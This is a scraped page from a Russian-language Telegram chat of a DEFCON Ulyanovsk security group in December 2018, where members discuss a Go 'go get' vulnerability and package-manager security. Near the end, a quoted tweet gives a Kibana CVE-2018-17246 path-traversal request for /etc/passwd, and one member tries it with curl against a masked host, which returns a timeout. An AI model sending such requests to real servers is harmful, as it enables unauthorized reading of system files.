Телеграмм чат группы dc20e6 страница 763

parrot.ru

Рейтинг популярных групп и каналов

В рейтинге участвует:

групп:

каналов:

Виртуальный сервер на SSD - недорого!

Аренда выделенных и виртуальных серверов (VDS/VPS), хостинг, аренда IP-адресов, администрирование, круглосуточная поддержка

qwarta.ru подробнее

Резервное копирование с проверкой на вирусы!!!

Удобный сервис создания резервных копий на любой сервер сети интернет. Отслеживайте изменения, проверяйте на вирусы. Надежно защитите свой бизнес!

go.backupland.com

Выбираете сервер? Любая конфигурация на заказ!

Аренда физических серверов любых конфигураций под любые запросы - 1С бухгалтерия, игровые сервера, нагруженные проекты, интернет-магазины!

qwarta.ru подробнее

Size: a a a

DC20e6: DEFCON Ульяновск

262 membersпожаловаться на группу

2018 December 15

R

Roman in DC20e6: DEFCON Ульяновск

Только внесли и немного другой

источник

08:36пожаловаться #1

R

Roman in DC20e6: DEFCON Ульяновск

Ну и посмотрим как с ipv6 это все работать будет

источник

08:39пожаловаться #2

F

Fred in DC20e6: DEFCON Ульяновск

они же хотят его блочить

источник

09:08пожаловаться #3

R

Roman in DC20e6: DEFCON Ульяновск

Уязвимости в системе загрузки модулей для языка Go
http://www.opennet.ru/opennews/art.shtml?num=49787

via OpenNews.opennet.ru: Проблемы безопасности

Уязвимости в системе загрузки модулей для языка Go

В реализации команды "go get", предоставляемой штатным интерфейсом командой строки для языка Go и используемой для загрузки пакетов и связанных с ними зависимоcтей, выявлено несколько уязвимостей, позволяющих выполнить код при обработке специально оформленных пакетов, подготовленных злоумышленниками. Проблемы устранены в корректирующих выпусках Go 1.11.3 и 1.10.6.

источник

13:23пожаловаться #4

R

Roman in DC20e6: DEFCON Ульяновск

Как по мне вообще как в го тянутся зависимости не есть хорошо :/

источник

13:24пожаловаться #5

WS

Wire Snark in DC20e6: DEFCON Ульяновск

Удобство против безопасности...

источник

13:35пожаловаться #6

MD

Mike 🚀 Dronov in DC20e6: DEFCON Ульяновск

Ой, да кому нужны комплюктеры тех, кто на го пишет

источник

13:38пожаловаться #7

F

Fred in DC20e6: DEFCON Ульяновск

Нормальный язык че началось то

источник

14:48пожаловаться #8

F

Fred in DC20e6: DEFCON Ульяновск

Вон в js тоже жесть и не че

источник

14:48пожаловаться #9

MD

Mike 🚀 Dronov in DC20e6: DEFCON Ульяновск

И в русте тоже

источник

14:50пожаловаться #10

F

Fred in DC20e6: DEFCON Ульяновск

Руст пока мертво рожденый да и судя по демке на гите web на нем тяжко писать хоть и все понятно

источник

14:52пожаловаться #11

MD

Mike 🚀 Dronov in DC20e6: DEFCON Ульяновск

Причем тут мертворождённость. В русте тоже есть менеджер пакетов cargo, и там тоже стопудов есть уязвимости.

источник

14:55пожаловаться #12

R

Roman in DC20e6: DEFCON Ульяновск

Удобство против безопасности...

Увы, да, эта делема часто возникает

источник

19:19пожаловаться #13

R

Roman in DC20e6: DEFCON Ульяновск

И почему-то с огромным перевесом выигрывает удобство

источник

19:20пожаловаться #14

R

Roman in DC20e6: DEFCON Ульяновск

А потом расплачиваться приходится и говорить "ну я же говорил"

источник

19:20пожаловаться #15

R

Roman in DC20e6: DEFCON Ульяновск

источник

21:18пожаловаться #16

2018 December 17

R

Roman in DC20e6: DEFCON Ульяновск

докопипастились?)))

источник

17:55пожаловаться #17

R

Roman in DC20e6: DEFCON Ульяновск

Code Execution via Paste and Deserialization
https://www.reddit.com/r/netsec/comments/a6za9g/code_execution_via_paste_and_deserialization/

via /r/netsec - Information Security News & Discussion

r/netsec - Code Execution via Paste and Deserialization

1 vote and 0 comments so far on Reddit

источник

17:55пожаловаться #18

R

Roman in DC20e6: DEFCON Ульяновск

А есть у кого кибана? Посмотрите это https://twitter.com/im_23pds/status/1074627634150006784

23pds[爱上平顶山]

Elasticsearch Kibana Console插件LFI CVE-2018-17246 PoC： GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

источник

18:02пожаловаться #19

R

Roman in DC20e6: DEFCON Ульяновск

А есть у кого кибана? Посмотрите это https://twitter.com/im_23pds/status/1074627634150006784

23pds[爱上平顶山]

Elasticsearch Kibana Console插件LFI CVE-2018-17246 PoC： GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

У меня не воспроизвелось

➜  build git:(master) ✗ curl https://**********/api/console/api_server\?sense_version\=%40%40SENSE_VERSION\&apis\=../../../../../../../../../../../etc/passwd
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx</center>
</body>
</html>
➜  build git:(master) ✗

источник

18:03пожаловаться #20